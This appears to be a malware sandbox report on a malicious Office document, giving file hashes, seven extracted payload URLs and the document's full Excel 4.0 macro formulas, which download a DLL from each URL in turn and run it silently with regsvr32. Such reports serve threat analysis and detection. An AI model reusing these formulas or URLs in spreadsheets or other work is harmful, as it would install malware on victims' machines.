General
-
Target
288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd
-
Size
48KB
-
MD5
696d43a84b6e71fe981514d0d9f4e3ae
-
SHA1
faaafa0788f96549072c506480f5935d250315ee
-
SHA256
288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd
-
SHA512
ed3ffa39d5f14ca7e5b8053a43158c206c6b97def30027aea6dfb9b30561c1f1f4471ffffe05de428aec68b49a30d5b4e22a38666c5857aa3b1fc4821c197ed4
-
SSDEEP
1536:5lFXmY3B6Y8r7mfqN1+TpCgcgsMA6VIcrW:5l1mG4YqVN1+TtRrW
Malware Config
Extracted
http://www.arkpp.com/ARIS-BSU/9K1/
http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/
http://www.babylinesl.com/catalog/iVsl6YvlyIyX/
https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/
https://unada.us/acme-challenge/3NXwcYNCa/
https://automobile-facile.fr/wp-admin/QV/
https://alebit.de/css/gqKtdKmTsC4iDh/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/9K1/","..\fbd.dll",0,0) =IF('EGVEB'!D9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/","..\fbd.dll",0,0)) =IF('EGVEB'!D11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.babylinesl.com/catalog/iVsl6YvlyIyX/","..\fbd.dll",0,0)) =IF('EGVEB'!D13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/","..\fbd.dll",0,0)) =IF('EGVEB'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://unada.us/acme-challenge/3NXwcYNCa/","..\fbd.dll",0,0)) =IF('EGVEB'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://automobile-facile.fr/wp-admin/QV/","..\fbd.dll",0,0)) =IF('EGVEB'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alebit.de/css/gqKtdKmTsC4iDh/","..\fbd.dll",0,0)) =IF('EGVEB'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\fbd.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
288481d1402eaa0ce98bf8070439323ab54ad5223e89a1b18a64dd31d5f74dfd